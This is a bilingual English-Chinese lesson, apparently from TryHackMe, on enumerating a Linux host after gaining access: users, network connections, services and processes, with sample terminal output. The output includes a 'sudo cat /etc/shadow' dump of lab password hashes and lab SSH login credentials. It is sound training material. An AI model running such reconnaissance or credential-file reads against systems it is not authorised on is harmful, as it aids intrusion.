&lt;p&gt;To find the installed applications you can consider listing the files in &lt;strong&gt;/usr/bin/&lt;/strong&gt; and &lt;strong&gt;/sbin/&lt;/strong&gt;:&lt;br&gt;要查找已安装的应用程序，您可以考虑在 &lt;strong&gt;/usr/bin/&lt;/strong&gt; 和 &lt;strong&gt;/sbin/&lt;/strong&gt; 中列出文件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ls -lh /usr/bin/&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ls -lh /sbin/&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On an RPM-based &lt;u&gt;Linux&lt;/u&gt; system, you can get a list of all installed packages using &lt;strong&gt;rpm -qa&lt;/strong&gt;. The &lt;strong&gt;-qa&lt;/strong&gt; indicates that we want to &lt;em&gt;query all&lt;/em&gt; packages.&lt;br&gt;在基于 RPM 的 Linux 系统上，您可以使用 &lt;strong&gt;rpm -qa&lt;/strong&gt; 获取所有已安装软件包的列表。表示 &lt;strong&gt;-qa&lt;/strong&gt; 我们要查询所有包。&lt;/p&gt;
&lt;p&gt;On a Debian-based &lt;u&gt;Linux&lt;/u&gt; system, you can get the list of installed packages using &lt;strong&gt;dpkg -l&lt;/strong&gt;. The output below is obtained from an Ubuntu server.&lt;br&gt;在基于 Debian 的 Linux 系统上，您可以使用 &lt;strong&gt;dpkg -l&lt;/strong&gt; 获取已安装软件包的列表。下面的输出是从 Ubuntu 服务器获取的。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;h3&gt;Users 用户&lt;/h3&gt;
&lt;p&gt;Files such as &lt;strong&gt;/etc/passwd&lt;/strong&gt; reveal the usernames; however, various commands can provide more information and insights about other users on the system and their whereabouts.&lt;br&gt;文件，例如 &lt;strong&gt;/etc/passwd&lt;/strong&gt; 显示用户名;但是，各种命令可以提供有关系统上其他用户及其行踪的更多信息和见解。&lt;/p&gt;
&lt;p&gt;You can show who is logged in using &lt;strong&gt;who&lt;/strong&gt;.&lt;br&gt;您可以使用 显示谁登录 &lt;strong&gt;who&lt;/strong&gt; 了 。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;We can see that the user &lt;strong&gt;root&lt;/strong&gt; is logged in to the system directly, while the users &lt;strong&gt;jane&lt;/strong&gt; and &lt;strong&gt;peter&lt;/strong&gt; are connected over the network, and we can see their IP addresses.&lt;br&gt;我们可以看到用户 &lt;strong&gt;root&lt;/strong&gt; 直接登录到系统，而用户 &lt;strong&gt;jane&lt;/strong&gt; 和 &lt;strong&gt;peter&lt;/strong&gt; 是通过网络连接的，我们可以看到他们的IP地址。&lt;/p&gt;
&lt;p&gt;Note that &lt;strong&gt;who&lt;/strong&gt; should not be confused with &lt;strong&gt;whoami&lt;/strong&gt; which prints &lt;strong&gt;your&lt;/strong&gt; effective user id.&lt;br&gt;请注意， &lt;strong&gt;who&lt;/strong&gt; 不应将其与 &lt;strong&gt;whoami&lt;/strong&gt; 打印有效用户 ID 的打印机混淆。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;To take things to the next level, you can use &lt;strong&gt;w&lt;/strong&gt;, which shows who is logged in and what they are doing. Based on the terminal output below, &lt;strong&gt;peter&lt;/strong&gt; is editing &lt;strong&gt;notes.txt&lt;/strong&gt; and &lt;strong&gt;jane&lt;/strong&gt; is the one running &lt;strong&gt;w&lt;/strong&gt; in this example.&lt;br&gt;要将事情提升到一个新的水平，您可以使用 &lt;strong&gt;w&lt;/strong&gt; ，它显示谁登录了以及他们在做什么。基于下面的终端输出， &lt;strong&gt;peter&lt;/strong&gt; 正在编辑 &lt;strong&gt;notes.txt&lt;/strong&gt; ， &lt;strong&gt;jane&lt;/strong&gt; 并且是此示例中运行 &lt;strong&gt;w&lt;/strong&gt; 的那个。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;To print the real and effective user and group &lt;u&gt;IDS&lt;/u&gt;, you can issue the command &lt;strong&gt;id&lt;/strong&gt; (for ID).&lt;br&gt;要打印真实有效的用户和组 ID，您可以发出命令 &lt;strong&gt;id&lt;/strong&gt; （用于 ID）。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;Do you want to know who has been using the system recently? &lt;strong&gt;last&lt;/strong&gt; displays a listing of the last logged-in users; moreover, we can see who logged out and how much they stayed connected. In the output below, the user &lt;strong&gt;randa&lt;/strong&gt; remained logged in for almost 17 hours, while the user &lt;strong&gt;michael&lt;/strong&gt; logged out after four minutes.&lt;br&gt;您想知道最近谁在使用该系统吗？ &lt;strong&gt;last&lt;/strong&gt; 显示上次登录用户的列表;此外，我们可以看到谁注销了他们保持了多少连接。在下面的输出中，用户 &lt;strong&gt;randa&lt;/strong&gt; 保持登录状态近 17 小时，而用户 &lt;strong&gt;michael&lt;/strong&gt; 在 4 分钟后注销。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;Finally, it is worth mentioning that &lt;strong&gt;sudo -l&lt;/strong&gt; lists the allowed command for the invoking user on the current system.&lt;br&gt;最后，值得一提的是， &lt;strong&gt;sudo -l&lt;/strong&gt; 它列出了当前系统上调用用户允许的命令。&lt;/p&gt;
&lt;h3&gt;Networking 联网&lt;/h3&gt;
&lt;p&gt;The IP addresses can be shown using &lt;strong&gt;ip address show&lt;/strong&gt; (which can be shortened to &lt;strong&gt;ip a s&lt;/strong&gt;) or with the older command &lt;strong&gt;ifconfig -a&lt;/strong&gt; (its package is no longer maintained.) The terminal output below shows the network interface &lt;strong&gt;ens33&lt;/strong&gt; with the IP address &lt;strong&gt;10.20.30.129&lt;/strong&gt; and subnet mask &lt;strong&gt;255.255.255.0&lt;/strong&gt; as it is &lt;strong&gt;24&lt;/strong&gt;.&lt;br&gt;可以使用 &lt;strong&gt;ip address show&lt;/strong&gt; （可以缩写为 &lt;strong&gt;ip a s&lt;/strong&gt; ）或旧命令 &lt;strong&gt;ifconfig -a&lt;/strong&gt; （不再维护其包）显示 IP 地址。下面的终端输出显示了具有 IP 地址 &lt;strong&gt;10.20.30.129&lt;/strong&gt; 和子网掩码 &lt;strong&gt;255.255.255.0&lt;/strong&gt; 的网络接口 &lt;strong&gt;24****ens33&lt;/strong&gt; 。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;The &lt;u&gt;DNS&lt;/u&gt; servers can be found in the &lt;strong&gt;/etc/resolv.conf&lt;/strong&gt;. Consider the following terminal output for a system that uses DHCP for its network configurations. The &lt;u&gt;DNS&lt;/u&gt;, i.e. nameserver, is set to &lt;strong&gt;10.20.30.2&lt;/strong&gt;.&lt;br&gt;DNS 服务器可以在 中找到。 &lt;strong&gt;/etc/resolv.conf&lt;/strong&gt; 对于使用 DHCP 进行网络配置的系统，请考虑以下终端输出。DNS（即名称服务器）设置为 &lt;strong&gt;10.20.30.2&lt;/strong&gt; 。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat&lt;/strong&gt; is a useful command for learning about network connections, routing tables, and interface statistics. We explain some of its many options in the table below.&lt;br&gt;&lt;strong&gt;netstat&lt;/strong&gt; 是用于了解网络连接、路由表和接口统计信息的有用命令。我们在下表中解释了它的许多选项中的一些。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;Option&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;-a&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;show both listening and non-listening sockets   同时显示侦听和非侦听套接字&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;-l&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;show only listening sockets   仅显示侦听套接字&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;-n&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;show numeric output instead of resolving the IP address and port number   显示数字输出，而不是解析 IP 地址和端口号&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;-t&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;&lt;u&gt;TCP&lt;/u&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;-u&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;&lt;u&gt;UDP&lt;/u&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;-x&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;UNIX UNIX 的&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;-p&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Show the &lt;u&gt;PID&lt;/u&gt; and name of the program to which the socket belongs   显示套接字所属程序的 PID 和名称&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;You can use any combination that suits your needs. For instance, &lt;strong&gt;netstat -plt&lt;/strong&gt; will return &lt;em&gt;Programs Listening on&lt;/em&gt;_ _&lt;em&gt;&lt;u&gt;TCP&lt;/u&gt;&lt;/em&gt; sockets. As we can see in the terminal output below, &lt;strong&gt;sshd&lt;/strong&gt; is listening on the &lt;u&gt;SSH&lt;/u&gt; port, while &lt;strong&gt;master&lt;/strong&gt; is listening on the &lt;u&gt;SMTP&lt;/u&gt; port on both IPv4 and IPv6 addresses. Note that to get all &lt;u&gt;PID&lt;/u&gt; (process ID) and program names, you need to run &lt;strong&gt;netstat&lt;/strong&gt; as root or use &lt;strong&gt;sudo netstat&lt;/strong&gt;.&lt;br&gt;您可以使用适合您需求的任何组合。例如， &lt;strong&gt;netstat -plt&lt;/strong&gt; 将返回 Programs Listening on TCP 套接字。正如我们在下面的终端输出中看到的那样， &lt;strong&gt;sshd&lt;/strong&gt; 正在侦听 SSH 端口，同时 &lt;strong&gt;master&lt;/strong&gt; 侦听 IPv4 和 IPv6 地址上的 SMTP 端口。请注意，要获取所有 PID（进程 ID）和程序名称，您需要以 root 身份运行 &lt;strong&gt;netstat&lt;/strong&gt; 或使用 &lt;strong&gt;sudo netstat&lt;/strong&gt; .&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -atupn&lt;/strong&gt; will show &lt;em&gt;All TCP and&lt;/em&gt;_ _&lt;em&gt;&lt;u&gt;UDP&lt;/u&gt;&lt;/em&gt; listening and established connections and the &lt;em&gt;program&lt;/em&gt; names with addresses and ports in &lt;em&gt;numeric&lt;/em&gt; format.&lt;br&gt;&lt;strong&gt;netstat -atupn&lt;/strong&gt; 将以数字格式显示所有 TCP 和 UDP 侦听和已建立的连接以及带有地址和端口的程序名称。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;One might think that using &lt;strong&gt;nmap&lt;/strong&gt; before gaining access to the target machine would have provided a comparable result. However, this is not entirely true. &lt;u&gt;Nmap&lt;/u&gt; needs to generate a relatively large number of packets to check for open ports, which can trigger intrusion detection and prevention systems. Furthermore, firewalls across the route can drop certain packets and hinder the scan, resulting in incomplete &lt;u&gt;Nmap&lt;/u&gt; results.&lt;br&gt;有人可能会认为，在访问目标计算机之前使用 &lt;strong&gt;nmap&lt;/strong&gt; 会提供类似的结果。然而，这并不完全正确。Nmap 需要生成相对大量的报文来检查开放端口，这可能会触发入侵检测和防御系统。此外，路由上的防火墙可能会丢弃某些数据包并阻碍扫描，从而导致 Nmap 结果不完整。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;lsof&lt;/strong&gt; stands for List Open Files. If we want to display only Internet and network connections, we can use &lt;strong&gt;lsof -i&lt;/strong&gt;. The terminal output below shows IPv4 and IPv6 listening services and ongoing connections. The user &lt;strong&gt;peter&lt;/strong&gt; is connected to the server &lt;strong&gt;rpm-red-enum.thm&lt;/strong&gt; on the &lt;strong&gt;ssh&lt;/strong&gt; port. Note that to get the complete list of matching programs, you need to run &lt;strong&gt;lsof&lt;/strong&gt; as root or use &lt;strong&gt;sudo lsof&lt;/strong&gt;.&lt;br&gt;&lt;strong&gt;lsof&lt;/strong&gt; 代表列出打开的文件。如果我们只想显示 Internet 和网络连接，我们可以使用 &lt;strong&gt;lsof -i&lt;/strong&gt; .下面的终端输出显示了 IPv4 和 IPv6 侦听服务以及正在进行的连接。用户 &lt;strong&gt;peter&lt;/strong&gt; 已连接到 &lt;strong&gt;ssh&lt;/strong&gt; 端口上的服务器 &lt;strong&gt;rpm-red-enum.thm&lt;/strong&gt; 。请注意，要获取匹配程序的完整列表，您需要以 root 身份运行 &lt;strong&gt;lsof&lt;/strong&gt; 或使用 &lt;strong&gt;sudo lsof&lt;/strong&gt; .&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;Because the list can get quite lengthy, you can further filter the output by specifying the ports you are interested in, such as &lt;u&gt;SMTP&lt;/u&gt; port 25. By running &lt;strong&gt;lsof -i :25&lt;/strong&gt;, we limit the output to those related to port 25, as shown in the terminal output below. The server is listening on port 25 on both IPv4 and IPv6 addresses.&lt;br&gt;由于列表可能会很长，因此可以通过指定感兴趣的端口（如 SMTP 端口 25）来进一步筛选输出。通过运行 &lt;strong&gt;lsof -i :25&lt;/strong&gt; ，我们将输出限制为与端口 25 相关的输出，如下面的终端输出所示。服务器正在侦听 IPv4 和 IPv6 地址上的端口 25。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;h3&gt;Running Services 运行服务&lt;/h3&gt;
&lt;p&gt;Getting a snapshot of the running processes can provide many insights. &lt;strong&gt;ps&lt;/strong&gt; lets you discover the running processes and plenty of information about them.&lt;br&gt;获取正在运行的进程的快照可以提供许多见解。 &lt;strong&gt;ps&lt;/strong&gt; 让您发现正在运行的进程以及有关它们的大量信息。&lt;/p&gt;
&lt;p&gt;You can list every process on the system using &lt;strong&gt;ps -e&lt;/strong&gt;, where &lt;strong&gt;-e&lt;/strong&gt; selects all processes. For more information about the process, you can add &lt;strong&gt;-f&lt;/strong&gt; for full-format and**-l** for long format. Experiment with &lt;strong&gt;ps -e&lt;/strong&gt;, &lt;strong&gt;ps -ef&lt;/strong&gt;, and &lt;strong&gt;ps -el&lt;/strong&gt;.&lt;br&gt;您可以使用 &lt;strong&gt;ps -e&lt;/strong&gt; 列出系统上的每个进程，其中 &lt;strong&gt;-e&lt;/strong&gt; 选择所有进程。有关该过程的详细信息，您可以添加 &lt;strong&gt;-f&lt;/strong&gt; 全格式和 &lt;strong&gt;-l&lt;/strong&gt; 长格式。试验 &lt;strong&gt;ps -e&lt;/strong&gt; 、 &lt;strong&gt;ps -ef&lt;/strong&gt; 和 &lt;strong&gt;ps -el&lt;/strong&gt; 。&lt;/p&gt;
&lt;p&gt;You can get comparable output and see all the processes using BSD syntax: &lt;strong&gt;ps ax&lt;/strong&gt; or &lt;strong&gt;ps aux&lt;/strong&gt;. Note that &lt;strong&gt;a&lt;/strong&gt; and &lt;strong&gt;x&lt;/strong&gt; are necessary when using BSD syntax as they lift the “only yourself” and “must have a tty” restrictions; in other words, it becomes possible to display all processes. The &lt;strong&gt;u&lt;/strong&gt; is for details about the user that has the process.&lt;br&gt;您可以获得可比较的输出，并使用 BSD 语法查看所有进程： &lt;strong&gt;ps ax&lt;/strong&gt; 或 &lt;strong&gt;ps aux&lt;/strong&gt; .请注意，在使用 BSD 语法时， &lt;strong&gt;a&lt;/strong&gt; 和 &lt;strong&gt;x&lt;/strong&gt; 是必要的，因为它们取消了“只有你自己”和“必须有一个 tty”的限制;换句话说，可以显示所有进程。用于 &lt;strong&gt;u&lt;/strong&gt; 有关具有该进程的用户的详细信息。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;Option&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;-e&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;all processes 所有流程&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;-f&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;full-format listing 完整格式列表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;-j&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;jobs format 作业格式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;-l&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;long format 长格式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;-u&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;user-oriented format 面向用户的格式&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;For more “visual” output, you can issue &lt;strong&gt;ps axjf&lt;/strong&gt; to print a process tree. The &lt;strong&gt;f&lt;/strong&gt; stands for “forest”, and it creates an ASCII art process hierarchy as shown in the terminal output below.&lt;br&gt;要获得更多“可视化”输出，您可以发出 &lt;strong&gt;ps axjf&lt;/strong&gt; 打印流程树的问题。它 &lt;strong&gt;f&lt;/strong&gt; 代表“森林”，它创建一个 ASCII 艺术过程层次结构，如下面的终端输出所示。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;To summarize, remember to use &lt;strong&gt;ps -ef&lt;/strong&gt; or &lt;strong&gt;ps aux&lt;/strong&gt; to get a list of all the running processes. Consider piping the output via &lt;strong&gt;grep&lt;/strong&gt; to display output lines with certain words. The terminal output below shows the lines with &lt;strong&gt;peter&lt;/strong&gt; in them.&lt;br&gt;总而言之，请记住使用 &lt;strong&gt;ps -ef&lt;/strong&gt; 或 &lt;strong&gt;ps aux&lt;/strong&gt; 获取所有正在运行的进程的列表。考虑通过管道连接输出 via &lt;strong&gt;grep&lt;/strong&gt; 以显示带有某些单词的输出行。下面的终端输出显示了其中的 &lt;strong&gt;peter&lt;/strong&gt; 行。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;Start the attached &lt;u&gt;Linux&lt;/u&gt; machine if you have not done so already, as you need it to answer the questions below. You can log in to it using &lt;u&gt;SSH&lt;/u&gt;: &lt;strong&gt;ssh user@MACHINE_IP&lt;/strong&gt;, where the login credentials are:&lt;br&gt;如果您尚未启动连接的 Linux 计算机，因为您需要它来回答以下问题。您可以使用 SSH： &lt;strong&gt;ssh user@MACHINE_IP&lt;/strong&gt; 登录到它，其中登录凭据为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Username: &lt;strong&gt;user&lt;/strong&gt; 用户名： &lt;strong&gt;user&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Password: &lt;strong&gt;THM6877&lt;/strong&gt; 密码： &lt;strong&gt;THM6877&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ ls /etc/*-release
/etc/centos-release  /etc/os-release  /etc/redhat-release  /etc/system-release
$ cat /etc/os-release 
NAME=&amp;quot;CentOS Linux&amp;quot;
VERSION=&amp;quot;7 (Core)&amp;quot;
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ ls /etc/*-release
/etc/fedora-release@  /etc/os-release@  /etc/redhat-release@  /etc/system-release@
$ cat /etc/os-release
NAME=&amp;quot;Fedora Linux&amp;quot;
VERSION=&amp;quot;36 (Workstation Edition)&amp;quot;
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ hostname
rpm-red-enum.thm
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
michael:x:1001:1001::/home/michael:/bin/bash
peter:x:1002:1002::/home/peter:/bin/bash
jane:x:1003:1003::/home/jane:/bin/bash
randa:x:1004:1004::/home/randa:/bin/bash

$ cat /etc/group
root:x:0:
[...]
michael:x:1001:
peter:x:1002:
jane:x:1003:
randa:x:1004:

$ sudo cat /etc/shadow
root:$6$pZlRFi09$qqgNBS.00qtcUF9x0yHetjJbXsw0PAwQabpCilmAB47ye3OzmmJVfV6DxBYyUoWBHtTXPU0kQEVUQfPtZPO3C.:19131:0:99999:7:::
[...]
michael:$6$GADCGz6m$g.ROJGcSX/910DEipiPjU6clo6Z6/uBZ9Fvg3IaqsVnMA.UZtebTgGHpRU4NZFXTffjKPvOAgPKbtb2nQrVU70:19130:0:99999:7:::
peter:$6$RN4fdNxf$wvgzdlrIVYBJjKe3s2eqlIQhvMrtwAWBsjuxL5xMVaIw4nL9pCshJlrMu2iyj/NAryBmItFbhYAVznqRcFWIz1:19130:0:99999:7:::
jane:$6$Ees6f7QM$TL8D8yFXVXtIOY9sKjMqJ7BoHK1EHEeqM5dojTaqO52V6CPiGq2W6XjljOGx/08rSo4QXsBtLUC3PmewpeZ/Q0:19130:0:99999:7:::
randa:$6$dYsVoPyy$WR43vaETwoWooZvR03AZGPPKxjrGQ4jTb0uAHDy2GqGEOZyXvrQNH10tGlLIHac7EZGV8hSIfuXP0SnwVmnZn0:19130:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ ls -lh /var/mail/
total 4.0K
-rw-rw----. 1 jane      mail   0 May 18 14:15 jane
-rw-rw----. 1 michael   mail   0 May 18 14:13 michael
-rw-rw----. 1 peter     mail   0 May 18 14:14 peter
-rw-rw----. 1 randa     mail   0 May 18 14:15 randa
-rw-------. 1 root      mail 639 May 19 07:37 root
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ dpkg -l
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                                  Version                            Architecture Description
+++-=====================================-==================================-============-===============================================================================
ii  accountsservice                       0.6.55-0ubuntu12~20.04.5           amd64        query and manipulate user account information
ii  adduser                               3.118ubuntu2                       all          add and remove users and groups
ii  alsa-topology-conf                    1.2.2-1                            all          ALSA topology configuration files
ii  alsa-ucm-conf                         1.2.2-1ubuntu0.13                  all          ALSA Use Case Manager configuration files
ii  amd64-microcode                       3.20191218.1ubuntu1                amd64        Processor microcode firmware for AMD CPUs
[...   ]
ii  zlib1g-dev:amd64                      1:1.2.11.dfsg-2ubuntu1.3           amd64        compression library - development
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ who
root     tty1         2022-05-18 13:24
jane     pts/0        2022-05-19 07:17 (10.20.30.105)
peter    pts/1        2022-05-19 07:13 (10.20.30.113)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ whoami
jane
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ w
 07:18:43 up 18:05,  3 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1                      Wed13   17:52m  0.00s  0.00s less -s
jane     pts/0    10.20.30.105     07:17    3.00s  0.01s  0.00s w
peter    pts/1    10.20.30.113     07:13    5:23   0.00s  0.00s vi notes.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ id
uid=1003(jane) gid=1003(jane) groups=1003(jane) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ last
jane     pts/0        10.20.30.105     Thu May 19 07:17   still logged in   
peter    pts/1        10.20.30.113     Thu May 19 07:13   still logged in   
michael  pts/0        10.20.30.1       Thu May 19 05:12 - 05:17  (00:04)    
randa    pts/1        10.20.30.107     Wed May 18 14:18 - 07:08  (16:49)    
root     tty1                          Wed May 18 13:24   still logged in
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ ip a s
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:a2:0e:7e brd ff:ff:ff:ff:ff:ff
    inet 10.20.30.129/24 brd 10.20.30.255 scope global noprefixroute dynamic ens33
       valid_lft 1580sec preferred_lft 1580sec
    inet6 fe80::761a:b360:78:26cd/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ cat /etc/resolv.conf
# Generated by NetworkManager
search localdomain thm
nameserver 10.20.30.2
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ sudo netstat -plt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN      978/sshd            
tcp        0      0 localhost:smtp          0.0.0.0:*               LISTEN      1141/master         
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN      978/sshd            
tcp6       0      0 localhost:smtp          [::]:*                  LISTEN      1141/master
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ sudo netstat -atupn
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      978/sshd            
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      1141/master         
tcp        0      0 10.20.30.129:22         10.20.30.113:38822        ESTABLISHED 5665/sshd: peter [p 
tcp        0      0 10.20.30.129:22         10.20.30.105:38826        ESTABLISHED 5723/sshd: jane [pr 
tcp6       0      0 :::22                   :::*                    LISTEN      978/sshd            
tcp6       0      0 ::1:25                  :::*                    LISTEN      1141/master         
udp        0      0 127.0.0.1:323           0.0.0.0:*                           640/chronyd         
udp        0      0 0.0.0.0:68              0.0.0.0:*                           5638/dhclient       
udp6       0      0 ::1:323                 :::*                                640/chronyd
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ sudo lsof -i
COMMAND   PID      USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
chronyd   640    chrony    5u  IPv4  16945      0t0  UDP localhost:323 
chronyd   640    chrony    6u  IPv6  16946      0t0  UDP localhost:323 
sshd      978      root    3u  IPv4  20035      0t0  TCP *:ssh (LISTEN)
sshd      978      root    4u  IPv6  20058      0t0  TCP *:ssh (LISTEN)
master   1141      root   13u  IPv4  20665      0t0  TCP localhost:smtp (LISTEN)
master   1141      root   14u  IPv6  20666      0t0  TCP localhost:smtp (LISTEN)
dhclient 5638      root    6u  IPv4  47458      0t0  UDP *:bootpc 
sshd     5693     peter    3u  IPv4  47594      0t0  TCP rpm-red-enum.thm:ssh-&amp;gt;10.20.30.113:38822 (ESTABLISHED)
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ sudo lsof -i :25
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
master  1141 root   13u  IPv4  20665      0t0  TCP localhost:smtp (LISTEN)
master  1141 root   14u  IPv6  20666      0t0  TCP localhost:smtp (LISTEN)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ ps axf
   PID TTY      STAT   TIME COMMAND
